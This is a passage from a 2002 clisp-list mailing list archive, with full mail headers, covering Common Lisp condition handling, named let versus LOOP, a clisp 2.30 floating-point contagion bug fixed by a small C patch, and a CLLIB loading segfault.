[WSA]EWOULDBLOCK error in all reads and writes. send() also can return less than data length supplied. Maybe there is something else, need to look into the code. I'm just saying it's not enough just to put a socket in nonblocking mode - need to check all the code to handle it (FIXME). Next, to get rid of WSACancelBlockingCall I wanted to make all sockets nonblocking and emulate blocking with select() loops. It is possible (FIXME). So maybe make a socket-stream option BLOCKING and use it in that select loops and in READ-SEQUENCE ? Advantages: 1. can be queried (AFAIK blocking mode of socket can't be checked) so READ-SEQUENCE can determine how to behave. 2. Lowlevel code handling just one socket mode, simpler. 3. no WSACancelBlockingCall. -- Best regards, Arseny From hin@van-halen.alma.com Fri Oct 04 16:09:13 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xbZI-0001LX-00 for ; Fri, 04 Oct 2002 16:09:12 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g94N9AIS022576; Fri, 4 Oct 2002 19:09:10 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g94N9AR9022573; Fri, 4 Oct 2002 19:09:10 -0400 Message-Id: <200210042309.g94N9AR9022573@van-halen.alma.com> From: "John K. Hinsdale" To: Joerg-Cyril.Hoehle@t-systems.com CC: clisp-list@lists.sourceforge.net In-reply-to: (Joerg-Cyril.Hoehle@t-systems.com) Subject: Re: [clisp-list] How to get the call stack? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 4 16:10:01 2002 X-Original-Date: Fri, 4 Oct 2002 19:09:10 -0400 >> I would still like to take snapshot of the stack, _before_ it's > That's the difference between HANDLER-BIND and HANDLER-CASE. Got it, thanks. just what I wanted. My call stack is now getting (approximately) displayed, so I won't go back to perl or Java :) From kaz@footprints.net Fri Oct 04 16:26:16 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xbpn-0002zD-00 for ; Fri, 04 Oct 2002 16:26:15 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17xbpb-0004xY-00; Fri, 04 Oct 2002 16:26:03 -0700 From: Kaz Kylheku To: "John K. Hinsdale" cc: Joerg-Cyril.Hoehle@t-systems.com, In-Reply-To: <200210042309.g94N9AR9022573@van-halen.alma.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: How to get the call stack? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 4 16:27:01 2002 X-Original-Date: Fri, 4 Oct 2002 16:26:03 -0700 (PDT) On Fri, 4 Oct 2002, John K. Hinsdale wrote: > Date: Fri, 4 Oct 2002 19:09:10 -0400 > From: John K. Hinsdale > To: Joerg-Cyril.Hoehle@t-systems.com > Cc: clisp-list@lists.sourceforge.net > Subject: Re: [clisp-list] How to get the call stack? > > > >> I would still like to take snapshot of the stack, _before_ it's > > > That's the difference between HANDLER-BIND and HANDLER-CASE. > > Got it, thanks. just what I wanted. My call stack is now getting > (approximately) displayed, so I won't go back to perl or Java :) It was said by Kent Pitman that HANDLER-CASE is a construct for people coming from languages in which the only thing that you can do with an exception is to contain it. ;) You have RESTART-CASE, RESTART-BIND, HANDLER-CASE and HANDLER-BIND. The two that you usually want are RESTART-CASE and HANDLER-BIND. The reason for that is that the selected restart site is where unwinding ultimately happens. Consequently, most restarts want to perform a non-local exit to the restart point, thus the case construct is most convenient. With restart-bind, the restart function would have to set up a non-local exit. Or it could even return back to the error handler, which would probably be confused as heck, not expecting the evaluation of (invoke-restart ...) to return! Whereas at the condition handling site, you don't want to unwind right away, because you want to scan the dynamic context for available restarts, which might be established at a or lower level of nesting than the handler. Unwinding is explicitly initiated by invoking a restart in one of various ways. Moreover, it makes perfect sense for a handler function to just return; by doing so it declines to handle the error, creating an opportunity for the error search to continue, without any unwinding having taken place which would throw away useful information. With HANDLER-CASE, you completely ignore restarts; in effect you provide your own restart in the form of the implicit non-local exit. From ampy@ich.dvo.ru Fri Oct 04 20:12:57 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xfN2-0006sS-00 for ; Fri, 04 Oct 2002 20:12:48 -0700 Received: from 212.16.216.92 ([212.16.216.92]) by vtc.ru (8.12.5/8.12.5) with ESMTP id g953COUG001850 for ; Sat, 5 Oct 2002 14:12:28 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <5510298147.20021005141243@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] Named let? In-reply-To: <200210041606.g94G6aV05218@octagon.mrl.nyu.edu> References: <200210041606.g94G6aV05218@octagon.mrl.nyu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 4 20:13:02 2002 X-Original-Date: Sat, 5 Oct 2002 14:12:43 +1000 Hi, Saturday, October 05, 2002, 2:06:36 AM, you wrote: > Note that it is not a good thing to name the NAMED-LET "LOOP" in > CL (hence the LOOPING), as you may have some "real" call to the CL > LOOP macro in the body. This should come to no surprise to the > schemer accustomed at single namespace, no packages environments. Why do you call it looping ? Isn't it a recursion ? -- Best regards, Arseny From dave@synergy.org Fri Oct 04 20:54:34 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xg1R-0002I7-00 for ; Fri, 04 Oct 2002 20:54:34 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Fri, 4 Oct 2002 20:54:32 -0700 From: "Dave Richards" To: "Arseny Slobodjuck" , Subject: RE: Re[2]: [clisp-list] Named let? Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-reply-To: <5510298147.20021005141243@ich.dvo.ru> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 05 Oct 2002 03:54:32.0851 (UTC) FILETIME=[E9E3E630:01C26C22] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 4 20:55:02 2002 X-Original-Date: Fri, 4 Oct 2002 20:54:31 -0700 > > Note that it is not a good thing to name the NAMED-LET "LOOP" in > > CL (hence the LOOPING), as you may have some "real" call to the CL > > LOOP macro in the body. This should come to no surprise to the > > schemer accustomed at single namespace, no packages environments. > > Why do you call it looping ? Isn't it a recursion ? I was a Scheme programmer before I was a Common LISP programmer. Since Scheme is guarenteed to be properly tail recursive I quickly found that a named let was really the only construct I ever used for iteration/recursion, i.e. I stopped thinking about which control behavior wss being exhibited. Yes, properly speaking it is recursion, but it acts like a loop. I fear I will *never* feel comfortable with loop. It's big and bulky and clumsy and I don't have a feel for it. I think I need to buy "LOOP For Dummies", which includes examples and test questions at the end of each chapter. :) Dave From pjb@informatimago.com Fri Oct 04 21:11:41 2002 Received: from thalassa.informatimago.com ([212.87.205.57]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xgHS-0006VC-00 for ; Fri, 04 Oct 2002 21:11:15 -0700 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id BB91594E26; Sat, 5 Oct 2002 06:09:28 +0200 (CEST) From: Pascal Bourguignon To: dave@synergy.org Cc: ampy@ich.dvo.ru, clisp-list@lists.sourceforge.net In-reply-to: Subject: Re: [clisp-list] Named let? Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: References: Message-Id: <20021005040928.BB91594E26@thalassa.informatimago.com> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 4 21:12:02 2002 X-Original-Date: Sat, 5 Oct 2002 06:09:28 +0200 (CEST) > From: "Dave Richards" > Date: Fri, 4 Oct 2002 20:54:31 -0700 > > > > Note that it is not a good thing to name the NAMED-LET "LOOP" in > > > CL (hence the LOOPING), as you may have some "real" call to the CL > > > LOOP macro in the body. This should come to no surprise to the > > > schemer accustomed at single namespace, no packages environments. > > > > Why do you call it looping ? Isn't it a recursion ? > > I was a Scheme programmer before I was a Common LISP programmer. Since > Scheme is guarenteed to be properly tail recursive I quickly found that a > named let was really the only construct I ever used for iteration/recursion, > i.e. I stopped thinking about which control behavior wss being exhibited. > > Yes, properly speaking it is recursion, but it acts like a loop. I fear I > will *never* feel comfortable with loop. It's big and bulky and clumsy and > I don't have a feel for it. I think I need to buy "LOOP For Dummies", which > includes examples and test questions at the end of each chapter. :) > > Dave The problem with loop is that it's not lisp. ;; Common-Lisp code here (fun arg arg arg) (loop ;; loop code here for i from 0 to 10 collect i into reslist do ;; Common-Lisp code here (print i) ;; loop code from here finally return reslist) ;; Common-Lisp code here Otherwise, one can get accustomed to it. -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- The name is Baud,...... James Baud. From ampy@ich.dvo.ru Sat Oct 05 06:09:38 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17xogY-00084y-00 for ; Sat, 05 Oct 2002 06:09:35 -0700 Received: from ppp77-3640.vtc.ru (ppp77-3640.vtc.ru [212.16.216.77]) by vtc.ru (8.12.5/8.12.5) with ESMTP id g95D98UG020914; Sun, 6 Oct 2002 00:09:11 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <13113913306.20021006000930@ich.dvo.ru> To: "Dave Richards" CC: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] Named let? In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 5 06:10:03 2002 X-Original-Date: Sun, 6 Oct 2002 00:09:30 +1000 Hello Dave, Saturday, October 05, 2002, 1:54:31 PM, you wrote: > Yes, properly speaking it is recursion, but it acts like a loop. I fear I > will *never* feel comfortable with loop. It's big and bulky and clumsy and > I don't have a feel for it. I think I need to buy "LOOP For Dummies", which > includes examples and test questions at the end of each chapter. :) I found CL loop macro outstanding, greatest loop of all programming languages and urge you to love it too! Not that I know all the details of it though. "Nonfunctional", loop has it's own theory and practice. And there is no need to buy a book - try to start with CLTL2, Loop, Iteration control (26.6). Seven for/as clauses - the core of loop as I see it. There is examples in chapter, but no test questions ;) -- Best regards, Arseny From vvzhy@mail.ru Sun Oct 06 01:33:39 2002 Received: from mx10.mail.ru ([194.67.57.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17y6r3-0008IQ-00 for ; Sun, 06 Oct 2002 01:33:37 -0700 Received: from drweb by mx10.mail.ru with drweb-scanned (Exim MX.A) id 17y6qz-000Iet-00; Sun, 06 Oct 2002 12:33:33 +0400 Received: from [213.247.176.34] (helo=mail.ru) by mx10.mail.ru with esmtp (Exim SMTP.A) id 17y6qy-000Ie3-00; Sun, 06 Oct 2002 12:33:32 +0400 Message-ID: <3DA00366.3010104@mail.ru> From: "Vadim V. Zhytnikov" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.0.0) Gecko/20020526 X-Accept-Language: ru, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net, Maxima List Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit X-Envelope-To: clisp-list@lists.sourceforge.net, maxima@www.ma.utexas.edu Subject: [clisp-list] floating point problems with clisp 2.30 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 6 01:34:01 2002 X-Original-Date: Sun, 06 Oct 2002 12:33:26 +0300 Hi! It seems that there is some floating point bug in recently released clisp 2.30. I've been trying to compile Maxima CVS with clisp 2.30 and suddenly I've got large number of WARNING: Floating point operation combines numbers of different precision. See ANSI CL 12.1.4.4 and the CLISP impnotes for details. The result's actual precision is controlled by *FLOATING-POINT-CONTAGION-ANSI*. To shut off this warning, set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL. warnings in several Maxima modules floating point evaluation of elliptic and Bessel functions. Of course I can suppress these warnings by setting *WARN-ON-FLOATING-POINT-CONTAGION* to NIL but I'm perfectly sure that they are spurious and caused by some clisp error because 1. Although Maxima can be compiled it now gives wrong value for Bessel and elliptic functions for both values of *FLOATING-POINT-CONTAGION-ANSI* (T or NIL). Result is not totally meaningless but in both cases we get right digits only for single precision while double is expected. 2. With clisp 2.29 everything is just fine. I tried to apply recent patch from CVS to lisparit.d but the problem still persist. Best wishes, -- Vadim V. Zhytnikov From sds@gnu.org Sun Oct 06 06:32:36 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yBWO-0006tJ-00 for ; Sun, 06 Oct 2002 06:32:36 -0700 Received: (from sds@localhost) by loiso.podval.org (8.11.6/8.11.6) id g96DU6h30826; Sun, 6 Oct 2002 09:30:06 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Vadim V. Zhytnikov" Cc: clisp-list@lists.sourceforge.net, Maxima List Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3DA00366.3010104@mail.ru> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 6 06:33:35 2002 X-Original-Date: 06 Oct 2002 09:30:06 -0400 > * In message <3DA00366.3010104@mail.ru> > * On the subject of "[clisp-list] floating point problems with clisp 2.30" > * Sent on Sun, 06 Oct 2002 12:33:26 +0300 > * Honorable "Vadim V. Zhytnikov" writes: > It seems that there is some floating point bug in recently released > clisp 2.30. I've been trying to compile Maxima CVS with clisp 2.30 > and suddenly I've got large number of > WARNING: > Floating point operation combines numbers of different precision. > See ANSI CL 12.1.4.4 and the CLISP impnotes for details. > The result's actual precision is controlled by > *FLOATING-POINT-CONTAGION-ANSI*. > To shut off this warning, set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL. if you are not "combining numbers of different precision", this is a bug. please isolate it to specific funcalls (by setting *BREAK-ON-SIGNALS* to T and looking at the backtrace) and report it to . Please investigate every single case when you get the warning. Thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux There are two ways to write error-free programs; only the third one works. From lisp-clisp-list@m.gmane.org Sun Oct 06 09:20:42 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yE92-0001AB-00 for ; Sun, 06 Oct 2002 09:20:40 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17yE8R-0006Mj-00 for ; Sun, 06 Oct 2002 18:20:03 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17yDjd-0005VA-00 for ; Sun, 06 Oct 2002 17:54:25 +0200 Path: not-for-mail From: fc@gnu.org (Fabricio Chalub) Lines: 41 Message-ID: <85zntrtvsz.fsf@afx.raw.no-ip.com> NNTP-Posting-Host: 205160.rjo.virtua.com.br Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1033919664 21151 200.179.205.160 (6 Oct 2002 15:54:24 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Sun, 6 Oct 2002 15:54:24 +0000 (UTC) User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 Subject: [clisp-list] CLISP segfaults when loading parts of CLLIB? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 6 09:21:02 2002 X-Original-Date: 06 Oct 2002 12:46:04 -0300 When loading CLLIB, CLISP 2.30 segfaults on a Debian GNU/Linux with 375Mb of memory, unlimited stack size. Can anyone reproduce this with Debian or other OSes? I've tried this with the latest CLISP package from Debian/unstable, so it could be a problem specific to that version. This happens under a standard (latest CVS) CLOCC installation, by running (MK:OOS 'CLLIB 'LOAD) in CLISP. I tried loading the files individually, and some crash, others don't. log.lisp is one, rng.lisp also dies horribly. [1]> (load (translate-logical-pathname "clocc:src;cllib;rng")) ;; Loading file /home/fc/werk/lisp/clocc/clocc/src/cllib/rng.fas ... ;; Loading file /home/fc/werk/lisp/clocc/clocc/src/cllib/base.fas ... ;; Loading file /home/fc/werk/lisp/clocc/clocc/src/port/ext.fas ... ;; Loaded file /home/fc/werk/lisp/clocc/clocc/src/port/ext.fas ;; Loading file /home/fc/werk/lisp/clocc/clocc/src/port/sys.fas ... ;; Loading file /home/fc/werk/lisp/clocc/clocc/src/port/path.fas ... ;; Loaded file /home/fc/werk/lisp/clocc/clocc/src/port/path.fas ;; Loaded file /home/fc/werk/lisp/clocc/clocc/src/port/sys.fas ;; Loaded file /home/fc/werk/lisp/clocc/clocc/src/cllib/base.fas ;; Loading file /home/fc/werk/lisp/clocc/clocc/src/cllib/withtype.fas ... ;; Loaded file /home/fc/werk/lisp/clocc/clocc/src/cllib/withtype.fas *** - handle_fault error2 ! address = 0x2045313C not in [0x20204000,0x203BCC48) ! SIGSEGV cannot be cured. Fault address = 0x2045313C. Segmentation fault Strangely, on the particular case of log.lisp, when I do a (load (translate-logical-pathname "clocc:src;cllib;log")) under CLISP's prompt, it loads fine. When I put it into .CLISPRC it crashes. Thanks! fc -- http://raw.no-ip.com/~fc/ From lisp-clisp-list@m.gmane.org Sun Oct 06 11:19:40 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yG0A-0000Su-00 for ; Sun, 06 Oct 2002 11:19:38 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17yFza-0002Rr-00 for ; Sun, 06 Oct 2002 20:19:02 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17yFzZ-0002RR-00 for ; Sun, 06 Oct 2002 20:19:01 +0200 Path: not-for-mail From: fc@gnu.org (Fabricio Chalub) Lines: 11 Message-ID: <85y99b5tgf.fsf@afx.raw.no-ip.com> References: <85zntrtvsz.fsf@afx.raw.no-ip.com> NNTP-Posting-Host: 205160.rjo.virtua.com.br Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1033928340 8843 200.179.205.160 (6 Oct 2002 18:19:00 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Sun, 6 Oct 2002 18:19:00 +0000 (UTC) User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 Subject: [clisp-list] Re: CLISP segfaults when loading parts of CLLIB? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 6 11:20:02 2002 X-Original-Date: 06 Oct 2002 15:10:40 -0300 > I tried loading the files individually, and some crash, others don't. > log.lisp is one, rng.lisp also dies horribly. Hmm ... this behaviour is erratic on individual CLLIB files. The problem can be safely reproduced on my system using MK:OOS 'CLLIB 'LOAD only. Tried both 2.4.19-ac4 and 2.5.40 kernel versions. fc -- http://raw.no-ip.com/~fc/ From vvzhy@mail.ru Sun Oct 06 11:54:12 2002 Received: from mx5.mail.ru ([194.67.57.15]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yGXa-0003OG-00 for ; Sun, 06 Oct 2002 11:54:10 -0700 Received: from drweb by mx5.mail.ru with drweb-scanned (Exim MX.5) id 17yGXV-000KhW-00; Sun, 06 Oct 2002 22:54:05 +0400 Received: from [213.247.176.34] (helo=mail.ru) by mx5.mail.ru with esmtp (Exim SMTP.5) id 17yGXV-000Kga-00; Sun, 06 Oct 2002 22:54:05 +0400 Message-ID: <3DA094CE.3060307@mail.ru> From: "Vadim V. Zhytnikov" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.0.0) Gecko/20020526 X-Accept-Language: ru, en MIME-Version: 1.0 To: sds@gnu.org CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Envelope-To: sds@gnu.org, clisp-list@lists.sourceforge.net Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 6 11:55:02 2002 X-Original-Date: Sun, 06 Oct 2002 22:53:50 +0300 Sam Steingold ?????: >>* In message <3DA00366.3010104@mail.ru> >>* On the subject of "[clisp-list] floating point problems with clisp 2.30" >>* Sent on Sun, 06 Oct 2002 12:33:26 +0300 >>* Honorable "Vadim V. Zhytnikov" writes: >> >> > > > >>It seems that there is some floating point bug in recently released >>clisp 2.30. I've been trying to compile Maxima CVS with clisp 2.30 >>and suddenly I've got large number of >>WARNING: >>Floating point operation combines numbers of different precision. >>See ANSI CL 12.1.4.4 and the CLISP impnotes for details. >>The result's actual precision is controlled by >>*FLOATING-POINT-CONTAGION-ANSI*. >>To shut off this warning, set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL. >> >> > >if you are not "combining numbers of different precision", this is a bug. >please isolate it to specific funcalls (by setting *BREAK-ON-SIGNALS* >to T and looking at the backtrace) and report it to . > >Please investigate every single case when you get the warning. > >Thanks. > > > Here is one piece of the problem which explains some excessive warnings [1]> (expt 5.0d0 0.3d0) WARNING: Floating point operation combines numbers of different precision. See ANSI CL 12.1.4.4 and the CLISP impnotes for details. The result's actual precision is controlled by *FLOATING-POINT-CONTAGION-ANSI*. To shut off this warning, set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL. 1.6206565966927624d0 [2]> Obviously warning is not required here. Unfortunately this doesn't explain wrong numeric values which I get for some special functions in Maxima with clisp 2.30 since the value above is correct. Best wishes, -- Vadim V. Zhytnikov From sds@gnu.org Sun Oct 06 15:34:22 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yJyg-00070m-00 for ; Sun, 06 Oct 2002 15:34:22 -0700 Received: (from sds@localhost) by loiso.podval.org (8.11.6/8.11.6) id g96MZEY10613; Sun, 6 Oct 2002 18:35:14 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Vadim V. Zhytnikov" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3DA094CE.3060307@mail.ru> Message-ID: Lines: 55 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 6 15:35:02 2002 X-Original-Date: 06 Oct 2002 18:35:13 -0400 > * In message <3DA094CE.3060307@mail.ru> > * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" > * Sent on Sun, 06 Oct 2002 22:53:50 +0300 > * Honorable "Vadim V. Zhytnikov" writes: > > Here is one piece of the problem which explains > some excessive warnings > > [1]> (expt 5.0d0 0.3d0) > > WARNING: > Floating point operation combines numbers of different precision. > See ANSI CL 12.1.4.4 and the CLISP impnotes for details. > The result's actual precision is controlled by > *FLOATING-POINT-CONTAGION-ANSI*. > To shut off this warning, set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL. > 1.6206565966927624d0 > [2]> thanks. this is fixed by the appended patch. > Unfortunately this doesn't explain wrong numeric values which I get > for some special functions in Maxima with clisp 2.30 since the value > above is correct. please send _all_ cases when you get the above warning. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Yeah, yeah, I love cats too... wanna trade recipes? --- realelem.d.~1.17.~ Thu Sep 12 04:14:11 2002 +++ realelem.d Sun Oct 6 18:16:53 2002 @@ -250,7 +250,7 @@ return F_to_SF(x), return F_to_FF(x), return F_to_DF(x), - return F_to_LF(x,I_to_UL(O(LF_digits))), + return F_to_LF(x,lfloat_length(TheLfloat(y))), pushSTACK(x), x = popSTACK()); } local object RA_R_float_F (object x, object y) @@ -259,7 +259,7 @@ return RA_to_SF(x), return RA_to_FF(x), return RA_to_DF(x), - return RA_to_LF(x,I_to_UL(O(LF_digits))), + return RA_to_LF(x,lfloat_length(TheLfloat(y))), pushSTACK(x), x = popSTACK()); } local object R_R_float_F (object x, object y) From mickey1@trafaa.com Sun Oct 06 23:46:03 2002 Received: from [63.219.177.34] (helo=mail.afdeaa.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yReU-0003GA-00 for ; Sun, 06 Oct 2002 23:46:03 -0700 Received: from mail.afdeaa.com by Y6JY7.mail.afdeaa.com with SMTP for clisp-list@lists.sourceforge.net; Mon, 07 Oct 2002 02:12:56 -0500 From: mickey1@trafaa.com MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Message-Id: <8XIEVB19.759AODUWFC3C5SJAGB62.mickey1@trafaa.com> Reply-To: mickey@trafaa.com 